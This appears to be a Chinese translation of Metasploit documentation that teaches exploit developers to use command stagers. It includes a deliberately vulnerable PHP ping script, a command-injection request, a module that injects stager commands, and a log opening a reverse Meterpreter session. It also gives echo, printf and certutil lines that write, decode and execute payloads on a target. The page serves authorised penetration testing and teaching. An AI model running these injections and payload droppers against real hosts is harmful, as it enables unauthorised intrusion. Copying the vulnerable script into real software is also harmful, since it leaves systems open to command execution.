-
Notifications
You must be signed in to change notification settings - Fork 3
怎么使用命令执行的 Stager
命令 stager 提供了一种针对典型漏洞 (例如命令执行 或 代码注入) 编写漏洞利用的简单方法. 目前有 14 种不同风格的命令 stager , 每种都使用系统命令 (或多个命令) 来保存你的有效负载, 有时还可以解码和执行.
解释如何使用命令 stager 的最好方法可能是通过演示它. 在这里, 我们在示例 PHP 代码中有一个命令注入漏洞, 你实际上可能会在企业级软件中遇到这种漏洞. 这个 BUG 是你可以在 ping 的系统调用中注入额外的系统命令:
<?php
if ( isset($_GET["ip"]) ) {
$output = system("ping -c 1 " . $_GET["ip"]);
die($output);
}
?>
<html>
<body>
<form action = "ping.php" method = "GET">
IP to ping: <input type = "text" name = "ip" /> <input type = "submit" />
</form>
</body>
</html>
将上述 PHP 脚本 (ping.php) 放在 Ubuntu + Apache + PHP 服务器上. 确保你的 Apache 服务器没有暴露在 Internet 上!
在正常使用情况下, 这就是脚本的行为方式 - 它只是 ping 你指定的主机, 并向你显示输出:
$ curl "http://192.168.1.203/ping.php?ip=127.0.0.1"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.017 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms
好的, 现在我们可以稍微滥用并执行另一个命令 (id) :
$ curl "http://192.168.1.203/ping.php?ip=127.0.0.1+%26%26+id"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.020/0.020/0.020/0.000 ms
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
看见 www-data 了吗? 这是我们要求脚本执行的第二个命令(id)的输出. 通过这样做, 我们还可以做一些更讨厌的事情 -- 比如将 Meterpreter 有效负载写入目标系统并执行它.
现在让我们谈谈如何使用命令 stager 来利用上述脚本. 你需要执行几个步骤:
1. 导入 Msf::Exploit::CmdStager mixin
虽然 mixins/stagers 有很多种风格, 但在编写 Metasploit 漏洞利用时, 你只需要包含 Msf::Exploit::CmdStager. mixin 基本上是所有命令阶段的接口:
include Msf::Exploit::CmdStager
2. 声明你的目标类型
要告诉 Msf::Exploit::CmdStager 你想要什么命令执行类型, 你可以在模块的元数据中添加 CmdStagerFlavor 信息. 无论是常用类型和目标类型. 允许多种类型.
为特定目标设置类型的示例:
'Targets' =>
[
[ 'Windows',
{
'Arch' => [ ARCH_X86_64, ARCH_X86 ],
'Platform' => 'win',
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
}
]
]
或者, 你可以将此信息传递给 execute_cmdstager 方法 (请参阅调用 #execute_cmdstager 开始) .
execute_cmdstager(flavor: :vbs)
但是, 最好还是在 CmdStagerFlavor
中设置兼容的类型列表, 而不是在 execute_cmdstager
方法调用中硬硬编码设置, 因为这允许操作者通过设置 set CmdStager::flavor
从 msfconsole
中设置.
3. 创建 execute_command 方法
你还必须在模块中创建一个 def execute_command(cmd, opts = {})
方法. 这是 CmdStager mixin 在启动时调用的代码. 你在此方法中的目标是将 cmd
变量中的任何内容注入漏洞的代码.
4. 调用 #execute_cmdstager 开始
最后, 在你的漏洞利用方法中, 调用 execute_cmdstager
以启动命令 stager.
多年来, 我们还了解到这些选项在调用 execute_cmdstager
时非常方便:
- flavor - 你可以从此处指定要使用的命令 stager (flavor).
- delay - 每个命令执行之间延迟多少时间. 0.25 是默认值.
- linemax - 每个命令的最大字符数. 2047 是默认值.
Msf::Exploit::CmdStager 模板
至少, 当你使用 CmdStager mixin 时, 你的漏洞利用应该是这样开始的:
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Command Injection Using CmdStager",
'Description' => %q{
This exploits a command injection using the command stager.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' => [ [ 'URL', 'http://metasploit.com' ] ],
'Platform' => 'linux',
'Targets' => [ [ 'Linux', {} ] ],
'Payload' => { 'BadChars' => "\x00" },
'CmdStagerFlavor' => [ 'printf' ],
'Privileged' => false,
'DisclosureDate' => "Jun 10 2016",
'DefaultTarget' => 0))
end
def execute_command(cmd, opts = {})
# 调用一些方法将 cmd 注入到易受攻击的代码中.
end
def exploit
print_status("Exploiting...")
execute_cmdstager
end
end
如你所见, 我们选择了"printf"风格作为我们的命令阶段. 稍后我们将对此进行更多解释, 但基本上它所做的是将我们的有效负载写入 /tmp
并执行它.
现在让我们修改 execute_command
方法并针对测试用例执行代码. 基于 PoC, 我们知道我们的注入字符串应该是这样的:
127.0.0.1+%26%26+[恶意命令]
我们使用 HttpClient 在 execute_command 中执行此操作. 请注意, 实际上涉及一些不良字符过滤以使漏洞利用正常工作, 这是预期的:
def filter_bad_chars(cmd)
cmd.gsub!(/chmod \+x/, 'chmod 777')
cmd.gsub!(/;/, ' %26%26 ')
cmd.gsub!(/ /, '+')
end
def execute_command(cmd, opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => '/ping.php',
'encode_params' => false,
'vars_get' => {
'ip' => "127.0.0.1+%26%26+#{filter_bad_chars(cmd)}"
}
})
end
def exploit
print_status("Exploiting...")
execute_cmdstager
end
让我们运行它, 我们应该会获得一个 shell:
msf exploit(cmdstager_demo) > run
[*] Started reverse TCP handler on 10.6.0.92:4444
[*] Exploiting...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 10.6.0.92
[*] Meterpreter session 1 opened (10.6.0.92:4444 -> 10.6.0.92:51522) at 2016-06-10 11:51:03 -0500
现在我们知道如何使用 Msf::Exploit::CmdStager mixin, 让我们看一下可以使用的命令 stager
VBS 命令 stager 适用于 Windows. 它的作用是使用 Base64 对我们的有效负载进行编码, 将其保存在目标机器上, 还使用 echo 命令编写 VBS 脚本, 然后让 VBS 脚本 解码 Base64 有效负载并执行它.
如果你正在利用支持 Powershell 的 Windows, 那么你可能需要考虑使用它而不是 VBS stager, 因为 Powershell 往往更加隐蔽.
要使用 VBS stager, 请在元数据中指定你的 CmdStagerFlavor:
'CmdStagerFlavor' => [ 'vbs' ]
或者在 execute_cmdstager 方法中设置 :vbs 的值:
execute_cmdstager(flavor: :vbs)
你还需要确保模块支持的平台包括 Windows (也在元数据中) , 例如:
'Platform' => 'win'
Certutil 是一个 Windows 命令, 可用于转储和显示证书颁发机构、配置信息、配置证书服务、备份和恢复 CA 组件等. 它仅适用于从 Windows 2012 和 Windows 8 开始的较新的 Windows 系统.
certutil 还可以为我们做的一件事是从证书中解码 Base64 字符串, 并将解码后的内容保存到文件中. 下面演示:
echo -----BEGIN CERTIFICATE----- > encoded.txt
echo Just Base64 encode your binary data
echo TVoAAA== >> encoded.txt
echo -----END CERTIFICATE----- >> encoded.txt
certutil -decode encoded.txt decoded.bin
为了利用这一点, Certutil 命令 stager 会将负载保存在 Base64 中作为假证书, 要求 certutil 对其进行解码, 然后最终执行它.
要使用 Certutil 命令 stager, 请在元数据中指定你的 CmdStagerFlavor:
'CmdStagerFlavor' => [ 'certutil' ]
或者在 execute_cmdstager 方法中设置 :certutil 的值:
execute_cmdstager(flavor: :certutil)
你还需要记住在元数据中设置 Platform 为 win:
'Platform' => 'win'
debug_write 命令 stager 是一个旧的 Windows 技巧, 用于将文件写入系统. 在这种情况下, 我们使用 debug.exe 编写一个小的 .Net 二进制文件, 该二进制文件将获取一个由 echo 命令创建的 hex-ascii 文件, 对二进制文件进行解码, 最后执行.
显然, 要能够使用这个命令 stager, 你必须确保目标是支持.Net 的 Windows 系统.
要使用 debug_write 命令 stager, 请在元数据中指定你的 CmdStagerFlavor:
'CmdStagerFlavor' => [ 'debug_write' ]
或者在 execute_cmdstager 方法中设置 :debug_write 的值:
execute_cmdstager(flavor: :debug_write)
你还需要记住在元数据中设置 Platform 为 win:
'Platform' => 'win'
The debug_asm 命令 stager 是另一个用于组装 COM 文件的旧 Windows 技巧, 然后 COM 文件将解码我们的 hex-ascii 有效负载, 然后执行它.
要使用 debug_asm 命令 stager, 请在元数据中指定你的 CmdStagerFlavor:
'CmdStagerFlavor' => [ 'debug_asm' ]
或者在 execute_cmdstager 方法中设置 :debug_asm 的值:
execute_cmdstager(flavor: :debug_asm)
你还需要记住在元数据中设置 Platform 为 win:
'Platform' => 'win'
The TFTP TFTP 命令 stager 使用 tftpd.exe 下载我们的 payload, 然后使用 start.exe 命令执行它. 此技术仅适用于较旧版本的 Windows (例如 XP) , 因为较新的 Windows 机器默认不再安装 tftp.exe.
TFTP 命令 stager 必须绑定到本地 UDP 端口 69, 因此 msfconsole 必须以 root 身份启动:
rvmsudo ./msfconsole
要使用 TFTP 命令 stager, 请在元数据中指定你的 CmdStagerFlavor:
'CmdStagerFlavor' => [ 'tftp' ]
或者在 execute_cmdstager 方法中设置 :tftp 的值:
execute_cmdstager(flavor: :tftp)
你还需要记住在元数据中设置 Platform 为 win:
'Platform' => 'win'
Linemax 最小为: 373
Bourne 命令 stager 支持除 Windows 之外的多个平台 (因为使用了 Windows 没有的 which 命令) . 它的功能与 VBS stager 非常相似, 除了它在运行时解码 Base64 有效负载时, 有多个命令可供选择: base64、openssl、python 或 perl.
要使用 Bourne 命令 stager, 请在元数据中指定你的 CmdStagerFlavor:
'CmdStagerFlavor' => [ 'bourne' ]
或者在 execute_cmdstager 方法中设置 :bourne 的值:
execute_cmdstager(flavor: :bourne)
Linemax 最小为: 26
echo 命令 stager 适用于除 Windows 之外的多个平台. 它只是 echo 命令有效负载、chmod 并执行它. 一个类似的例子:
echo -en \\x41\\x41\\x41\\x41 >> /tmp/payload ; chmod 777 /tmp/payload ; /tmp/payload ; rm -f /tmp/payload
要使用 echo 命令 stager, 请在元数据中指定你的 CmdStagerFlavor:
'CmdStagerFlavor' => [ 'echo' ]
或者在 execute_cmdstager 方法中设置 :echo 的值:
execute_cmdstager(flavor: :echo)
Linemax 最小为: 25
The printf 命令 stager 也适用于除 Windows 之外的多个平台. 它只是使用 printf 命令将有效负载写入磁盘, chmod 并执行它. 一个类似的例子:
printf '\177\177\177\177' >> /tmp/payload ; chmod +x /tmp/payload ; /tmp/payload ; rm -f /tmp/payload
要使用 printf 命令 stager, 请在元数据中指定你的 CmdStagerFlavor:
'CmdStagerFlavor' => [ 'printf' ]
或者在 execute_cmdstager 方法中设置 :printf 的值:
execute_cmdstager(flavor: :printf)